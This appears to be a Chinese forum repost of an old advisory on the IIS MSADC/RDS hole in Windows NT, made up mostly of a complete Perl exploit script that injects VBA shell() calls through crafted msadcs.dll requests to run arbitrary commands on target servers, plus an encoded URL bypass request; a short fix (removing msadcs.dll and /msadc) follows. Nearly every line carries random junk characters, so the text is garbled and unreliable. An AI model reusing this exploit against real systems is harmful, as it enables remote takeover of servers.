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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) jR }h3!  
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涉及程序: T>kJB.V:oQ  
Microsoft NT server AN$}%t"  
qI:}3b;T  
描述: :*1|ERGoay  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 [~f%z(vI  
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详细: @D[;$YEk  
如果你没有时间读详细内容的话,就删除: 3ZC to[Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _GI [SzD  
有关的安全问题就没有了。 VqVP5nT'=  
h9>~?1$lz  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 HEht^ /pJ  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0O!%NL[,  
关于利用ODBC远程漏洞的描述,请参看: ib/&8)Y+J  
Gv?3}8Wp  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d3 fE[/oU  
&nZ=w#_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qGl+KI  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp +@usJkxul  
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这里不再论述。 v|t^th,  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ij@YOt  
~" }t8`vP1  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0-l @U{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! uAK-%Uu?  
6H.D `"cj  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" Lo7R^>  
/LPSI^l!m  
#!perl sBZKf8@/  
# g9GE0DbT`  
# MSADC/RDS 'usage' (aka exploit) script ~Jmn?9 3  
#  UZmz k  
# by rain.forest.puppy py P5^Qv  
# !_l W#feR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  ]c[80F-  
# beta test and find errors! O'$0K0k3  
g2:^Z==  
use Socket; use Getopt::Std; hb_YdnG  
getopts("e:vd:h:XR", \%args); G80d!*7  
Ax=Rb B"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !Lk|eGd*  
DE."XSni  
if (!defined $args{h} && !defined $args{R}) { j= ]WAjT  
print qq~ ~?[%uGI0h  
Usage: msadc.pl -h <host> { -d <delay> -X -v } y5|`B(  
-h <host> = host you want to scan (ip or domain) WvUe44&^$  
-d <seconds> = delay between calls, default 1 second NrNbNFfo  
-X = dump Index Server path table, if available %$!}MxUM  
-v = verbose ?G0=\U< o,  
-e = external dictionary file for step 5 1UyI.U]  
/G G QO$'  
Or a -R will resume a command session Ur?a%]  
`Qaw]&O  
~; exit;} 'WxcA)z0cQ  
l_>^LFOA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 8 yB  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ;u!>( QQ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ran Q_\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); l)a]V]oQ  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6yv*AmFh  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,%v  
ASR"<]  
if (!defined $args{R}){ $ret = &has_msadc; i/-Xpj]Zf  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *D*K`dk  
VISNmz2P  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;IXDZ#;   
. "cmd /c "; xwTN\7f>  
$in=<STDIN>; chomp $in; I$9 t^82j  
$command="cmd /c " . $in ; 7evE;KL  
y5BNHweaRb  
if (defined $args{R}) {&load; exit;} 8iqx*8}  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; /DQoM@X  
&try_btcustmr; 9_ KUUA  
w# ,:L)  
print "\nStep 2: Trying to make our own DSN..."; >9uDY+70I3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hi`\3B  
R l^ENrv!]  
print "\nStep 3: Trying known DSNs..."; 3oE *86  
&known_dsn; najd~%?Rs  
! Hdg $,  
print "\nStep 4: Trying known .mdbs..."; H2E!A2\m  
&known_mdb; K$R1x1lc2  
&]16Hb~  
if (defined $args{e}){ }yK_2zak5i  
print "\nStep 5: Trying dictionary of DSN names..."; A^bg*t,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~Pv4X2MO  
j'X]bd'  
print "Sorry Charley...maybe next time?\n"; Do=*bZ;A  
exit; jF_K*:gQ  
aVM@^n  
############################################################################## kbM4v G  
{%N*AxkvId  
sub sendraw { # ripped and modded from whisker 7t0\}e  
sleep($delay); # it's a DoS on the server! At least on mine... R1{ "  
my ($pstr)=@_; sn}U4=u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -KCm#!  
die("Socket problems\n"); `~(KbH=]  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;rV0  
select(S); $|=1; do+HPnfDzU  
print $pstr; my @in=<S>; tceQn ^|<  
select(STDOUT); close(S); 6f\0YU<C&  
return @in; CJ {?9z@$.  
} else { die("Can't connect...\n"); }} :PY~Cws  
Y \& 4`v'  
############################################################################## Uj(,6K8W  
r2M._}bF  
sub make_header { # make the HTTP request h<$Vry}  
my $msadc=<<EOT hGcOk[m 4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 IgG@v9'  
User-Agent: ACTIVEDATA n/=&?#m}d  
Host: $ip %a{cJ6P  
Content-Length: $clen w`CGDF\Oo  
Connection: Keep-Alive .px*.e s  
ne oT\HV  
ADCClientVersion:01.06 Q/1 6D  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 M$FQoRwH  
OzA"i y  
--!ADM!ROX!YOUR!WORLD! "m3u}!`3  
Content-Type: application/x-varg Y"K7$+5#\  
Content-Length: $reqlen X%h1r`h&  
[6FCbzS_W  
EOT =xS(Er`r  
; $msadc=~s/\n/\r\n/g; n^UrHHOL  
return $msadc;} iKv{)5  
>C*q  
############################################################################## 1WfN_JKB5  
Y6?d y\  
sub make_req { # make the RDS request kC!7<%(  
my ($switch, $p1, $p2)=@_; B+`m  
my $req=""; my $t1, $t2, $query, $dsn; gX{V>T(<  
A%"mySW  
if ($switch==1){ # this is the btcustmr.mdb query 38>8{Ma  
$query="Select * from Customers where City=" . make_shell(); @j K7bab:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \XCs(lNh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Fm#4;'x5E  
V2u^sy  
elsif ($switch==2){ # this is general make table query yCf*ts1  
$query="create table AZZ (B int, C varchar(10))"; 53=VIN]  
$dsn="$p1";} \(cu<{=rU  
ZcYxH|Gn  
elsif ($switch==3){ # this is general exploit table query i jg'X#E  
$query="select * from AZZ where C=" . make_shell(); $83TA> <a  
$dsn="$p1";} bO>Mvf  
3R !Mfz*  
elsif ($switch==4){ # attempt to hork file info from index server }e9E+2}Z\  
$query="select path from scope()"; 51*o&:eim  
$dsn="Provider=MSIDXS;";} ([qw#!;w;  
&s_[~g<  
elsif ($switch==5){ # bad query HfFP4#C,  
$query="select"; >Yl?i&3n  
$dsn="$p1";} '%. lY9D  
b* no.eB  
$t1= make_unicode($query); gLaFIeF<+  
$t2= make_unicode($dsn); l-Xxur5M'  
$req = "\x02\x00\x03\x00"; XTG*56IzL  
$req.= "\x08\x00" . pack ("S1", length($t1)); pa~.[cBI  
$req.= "\x00\x00" . $t1 ; qq]ZkT}   
$req.= "\x08\x00" . pack ("S1", length($t2)); JY(_}AAu  
$req.= "\x00\x00" . $t2 ; -|~6Zf"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; DDwH9*  
return $req;} 4l@*x^F  
?}D@{%O3T  
############################################################################## )Jz L  
m;>HUTj  
sub make_shell { # this makes the shell() statement N32!*TsWs  
return "'|shell(\"$command\")|'";} _bHmcK  
JpvE c!cli  
############################################################################## 63#Sf$p{v  
t,]r%  
sub make_unicode { # quick little function to convert to unicode j="{^b  
my ($in)=@_; my $out; 1[ ME/r  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } z:ue]7(.  
return $out;} HpiP"Sl  
C:"Al-  
############################################################################## y[UTuFv~Q  
<T>C}DGw  
sub rdo_success { # checks for RDO return success (this is kludge) 7H:1c=U  
my (@in) = @_; my $base=content_start(@in); puV(eG  
if($in[$base]=~/multipart\/mixed/){ "~:o#~F6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} VC:.ya|Z  
return 0;} u7=`u/  
QeuIAs*_  
############################################################################## w^s|YF=c  
_n,Ye&m  
sub make_dsn { # this makes a DSN for us y Rr,+>W  
my @drives=("c","d","e","f"); Qr6[h!  
print "\nMaking DSN: "; z4D[>2*  
foreach $drive (@drives) { EJ;:O1,6H  
print "$drive: "; 5`53lK.C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . X-|Lg.s  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /XEUJC4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Wf^6:  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $vnshU8/v  
return 0 if $2 eq "404"; # not found/doesn't exist cT'D2Yeq  
if($2 eq "200") { FaYDa  
foreach $line (@results) { GS_'&Yj  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} CPWe (  
} return 0;} ?B.>VnYZ/a  
=B@owx  
############################################################################## '#mv-/<t*  
|QHDg(   
sub verify_exists { })#6 BN  
my ($page)=@_; CvW*/d q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e|Rd#  
return $results[0];} _&_#uV<WG0  
MKq:=^w  
############################################################################## 7dhip  
M<hX !B  
sub try_btcustmr { qn}4PVn4  
my @drives=("c","d","e","f"); g]PmmK_L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k\8]fh)J\7  
ln-+=jk  
foreach $dir (@dirs) { {x{e?c!  
print "$dir -> "; # fun status so you can see progress 78&jaw*1A  
foreach $drive (@drives) { {s&6C-  
print "$drive: "; # ditto h W\q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @iWql*K;m  
$reqlenlen=length( "$reqlen" ); 8Ux3,X=  
$clen= 206 + $reqlenlen + $reqlen; 4 ,"%  
Lgw!S~0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); fA{[H:*}G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} d%FD =wm  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Pb 4%" 9`  
&sleV5V  
############################################################################## ,_?P[~1  
{gT2G*Ed^Z  
sub odbc_error { T2|dFKeWG  
my (@in)=@_; my $base; \yP\@cpY{  
my $base = content_start(@in); M}2a/}4   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4+qoq$F</  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FGY4u4y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9aky+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [+<lm 5t  
return $in[$base+4].$in[$base+5].$in[$base+6];} f mu `o-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $Tci_(V=F  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?UCK  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T<1* R>el  
BM9J/24  
############################################################################## y ,e# e`  
/ qp)n">  
sub verbose { nA$zp  
my ($in)=@_; %2>ya>/M  
return if !$verbose; jI:5[. Y  
print STDOUT "\n$in\n";} @k~'b  
uf4C+ci  
############################################################################## ?hu}wl)  
s @\UZ C  
sub save { xV@/z5Tq  
my ($p1, $p2, $p3, $p4)=@_; R3=PV{`M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?Ho~6q8O@  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (|H1zO  
close OUT;} Qz6Ry\u  
qXC>D Gy  
############################################################################## &} %rZU  
iv@ey-,<  
sub load { OtK=UtVI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; VA{2a7]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); cYHHCaCS  
@p=<IN>; close(IN); x aiA2  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); gbF^m`A>%+  
$target= inet_aton($ip) || die("inet_aton problems"); }@JPvI E  
print "Resuming to $ip ..."; 4mNg(w=NF  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v53qpqc  
if($p[1]==1) { &+]x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; rBR,lS$4  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; eaSf[!24"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); IjJO;  
if (rdo_success(@results)){print "Success!\n";} hI249gW9  
else { print "failed\n"; verbose(odbc_error(@results));}} Ps=OL\i  
elsif ($p[1]==3){ B+W 4r9#  
if(run_query("$p[3]")){ 7\ELr 5  
print "Success!\n";} else { print "failed\n"; }} DPIIE2X  
elsif ($p[1]==4){ .[YM0dt  
if(run_query($drvst . "$p[3]")){ .KH3.v/c|  
print "Success!\n"; } else { print "failed\n"; }} (`%$Aa9J  
exit;} c!#DD;<Q  
rfj>/?8!@  
############################################################################## lxsBXXZg  
mFoE2?Y  
sub create_table { ;#c=0*.  
my ($in)=@_; OX|nYTp  
$reqlen=length( make_req(2,$in,"") ) - 28; Dxj&9Ra  
$reqlenlen=length( "$reqlen" ); x%<oeM3U  
$clen= 206 + $reqlenlen + $reqlen; Y*oT (  
my @results=sendraw(make_header() . make_req(2,$in,"")); 6, =oTmFP  
return 1 if rdo_success(@results); NJ" d`  
my $temp= odbc_error(@results); verbose($temp); :f1Q0klwP  
return 1 if $temp=~/Table 'AZZ' already exists/; (vL-Z[M!  
return 0;} v8=7  
,D#ssxV  
############################################################################## ig:E` Fe@  
X'BFR]cm  
sub known_dsn { !I3_KuJ5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go t\& u  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", rmVF88/;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ks{y=@ <,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); w,uyN  
.7lDJ2  
foreach $dSn (@dsns) { 19V  
print "."; H\W/;Nn  
next if (!is_access("DSN=$dSn")); xz9x t  
if(create_table("DSN=$dSn")){ yMz%s=rh  
print "$dSn successful\n"; f;";P  
if(run_query("DSN=$dSn")){ 2|Of$oMc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {{'GR"D  
print "Something's borked. Use verbose next time\n";}}} print "\n";} =Yd{PZ*fR  
Hrz #So\#  
############################################################################## RE*;_DF  
|"7F`M96I  
sub is_access { vd0;33$L  
my ($in)=@_; ,LD[R1TU8  
$reqlen=length( make_req(5,$in,"") ) - 28; h?UUd\RU)  
$reqlenlen=length( "$reqlen" ); T&@xgj|!)  
$clen= 206 + $reqlenlen + $reqlen; `|9NxF+  
my @results=sendraw(make_header() . make_req(5,$in,"")); ji'NR  
my $temp= odbc_error(@results); $_bhZnYp7  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); /da5 "  
return 0;} ?f}lYQzM  
x+1Cs$E;  
############################################################################## 7r,s+u.  
^o;f~6#17  
sub run_query { uU+R,P0  
my ($in)=@_; kH&KE5  
$reqlen=length( make_req(3,$in,"") ) - 28; (~}P.?C8  
$reqlenlen=length( "$reqlen" ); G:u-C<^'  
$clen= 206 + $reqlenlen + $reqlen; AHg:`Wjv-  
my @results=sendraw(make_header() . make_req(3,$in,"")); /E(319u_  
return 1 if rdo_success(@results); mPhrMcL  
my $temp= odbc_error(@results); verbose($temp); 2QU ZBrs s  
return 0;} bf#@YkE  
"Q{)H8,E)x  
############################################################################## {\HEUIa]w  
?\_\pa/+  
sub known_mdb { }cl~Vo-mp  
my @drives=("c","d","e","f","g"); EMe3Xb `  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .\/jy]Y  
my $dir, $drive, $mdb; OC(S"&D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  12W`7  
W Z!?O0.A  
# this is sparse, because I don't know of many .O h4b5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Etv!:\\[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /&PRw<}>_o  
"\\system32\\certmdb.mdb", EL--?<g  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]f%yeD  
M|HW$8V3_2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", (4;m*' X  
"\\cfusion\\cfapps\\forums\\forums_.mdb", C2$_Ad=s  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", y,D@[*~Xb  
"\\cfusion\\cfapps\\security\\realm_.mdb", ly!vbpE_  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ]VuB2L[D  
"\\cfusion\\database\\cfexamples.mdb", ao+lLCr  
"\\cfusion\\database\\cfsnippets.mdb", !&8nwOG  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", I-L52%E]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 7FQ&LF46  
"\\cfusion\\brighttiger\\database\\cleam.mdb", i. O670D  
"\\cfusion\\database\\smpolicy.mdb", A>C&`A=-  
"\\cfusion\\database\cypress.mdb", U04TVQn`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `a$c6^a  
"\\website\\cgi-win\\dbsample.mdb", Jf#Ika&px  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", SVJL|S 3k  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" O %x<  
); #these are just [:vH_(|  
foreach $drive (@drives) { 4Lg!54P8  
foreach $dir (@dirs){ eootH K  
foreach $mdb (@sysmdbs) { V*}xlxSL  
print "."; !]^,!7x,8j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ #pe#(xoI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RB,`I#z1f  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @ PboT1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \B72 # NR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} iZ^tLnc  
n5Coxvy1  
foreach $drive (@drives) { 0.MD_s0)>  
foreach $mdb (@mdbs) { IjshxNk  
print "."; /b|V=j}W  
if(create_table($drv . $drive . $dir . $mdb)){ nM=5L:d  
print "\n" . $drive . $dir . $mdb . " successful\n"; s *8)|N  
if(run_query($drv . $drive . $dir . $mdb)){ w)nFH)f  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5c 8tH=  
} else { print "Something's borked. Use verbose next time\n"; }}}} C i?BJ,  
} Q sXy(w#F  
4@qHS0$  
############################################################################## *VP-fyJp  
[Dzd39aKr  
sub hork_idx { t\\oG H  
print "\nAttempting to dump Index Server tables...\n"; [WfigqY`b*  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; K@RE-K6{  
$reqlen=length( make_req(4,"","") ) - 28; B4l*]K%  
$reqlenlen=length( "$reqlen" ); 26e.Hu  
$clen= 206 + $reqlenlen + $reqlen; J*!_kg)>J  
my @results=sendraw2(make_header() . make_req(4,"","")); 55%j$f  
if (rdo_success(@results)){ aa-{,X"MF  
my $max=@results; my $c; my %d; MAv-`8@|  
for($c=19; $c<$max; $c++){ e$vvmbK.  
$results[$c]=~s/\x00//g; 4 ~s{zob  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :kQ%Mj>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b{~64/YJ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uG\ @e'pr  
$d{"$1$2"}="";} Ro2Ab^rQ|  
foreach $c (keys %d){ print "$c\n"; } fRt`]o:Om  
} else {print "Index server doesn't seem to be installed.\n"; }} Ad:}i9-x  
EuJ_UxkG  
############################################################################## 8LPvb#9=  
c[E "  
sub dsn_dict { 6_&uYA<8pE  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); b +4x2{  
while(<IN>){ t7P[^f15[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @P'("qb~  
next if (!is_access("DSN=$dSn")); -;1nv:7Z3  
if(create_table("DSN=$dSn")){ l KdY!j"  
print "$dSn successful\n"; yPn!1=-(  
if(run_query("DSN=$dSn")){  cFV)zFu  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;Xr|['\'  
print "Something's borked. Use verbose next time\n";}}} u&E$(  
print "\n"; close(IN);} :j<ij]rsI  
Ic<J]+Xq  
############################################################################## D#.N)@\  
|/YwMBi  
sub sendraw2 { # ripped and modded from whisker "p"M9P'  
sleep($delay); # it's a DoS on the server! At least on mine... e`7dRnx&0  
my ($pstr)=@_; *WQl#JAr  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~MpcVI_K  
die("Socket problems\n"); ?=FRn pU?  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,UveH` n-  
print "Connected. Getting data"; aAi "  
open(OUT,">raw.out"); my @in; U+4W9zhwo  
select(S); $|=1; print $pstr; M^6!{c=MIi  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,B'n0AO/'  
close(OUT); select(STDOUT); close(S); return @in; U65a _dakk  
} else { die("Can't connect...\n"); }} *"HA=-Z;  
> &VY  
############################################################################## [YTOrN  
N!Q~?/!d  
sub content_start { # this will take in the server headers g[%iVZ  
my (@in)=@_; my $c; lQ{o[axT  
for ($c=1;$c<500;$c++) { `Lr I^9Z  
if($in[$c] =~/^\x0d\x0a/){ _!K@( dl  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Qt~QJJN?oF  
else { return $c+1; }}} tK0Ksnl^  
return -1;} # it should never get here actually 'CfM'f3uu  
`pJWZ:3  
############################################################################## B/^1uPTZ71  
wBJP8wES=  
sub funky { LJh^-FQ  
my (@in)=@_; my $error=odbc_error(@in); Y+ Qm.  
if($error=~/ADO could not find the specified provider/){ 4k]DktY}.  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V."qxKsz  
exit;} qt.Y6s:r_  
if($error=~/A Handler is required/){ ;;]^d_  
print "\nServer has custom handler filters (they most likely are patched)\n"; QcN$TxU>  
exit;} QqdVN3# 1z  
if($error=~/specified Handler has denied Access/){ &2Q0ii#Aa  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y@#rGV>  
exit;}} >39\u &)  
wRCv?D`vV  
############################################################################## M~O$ ,dof  
5;:964Et  
sub has_msadc { G,-x+e"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  TNj WZ  
my $base=content_start(@results); x9qoS)@CM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); $%Kyz\;7/  
return 0;} h+ggrwg'  
}~bx==SF6!  
######################## U8]BhJr$Q  
%gbvX^E?  
Od?b(bE.]  
解决方案: R]xXG0  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9bb 5?b/  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 H vezi>M  
dp=#|!jc  
拿出来充数 哈哈
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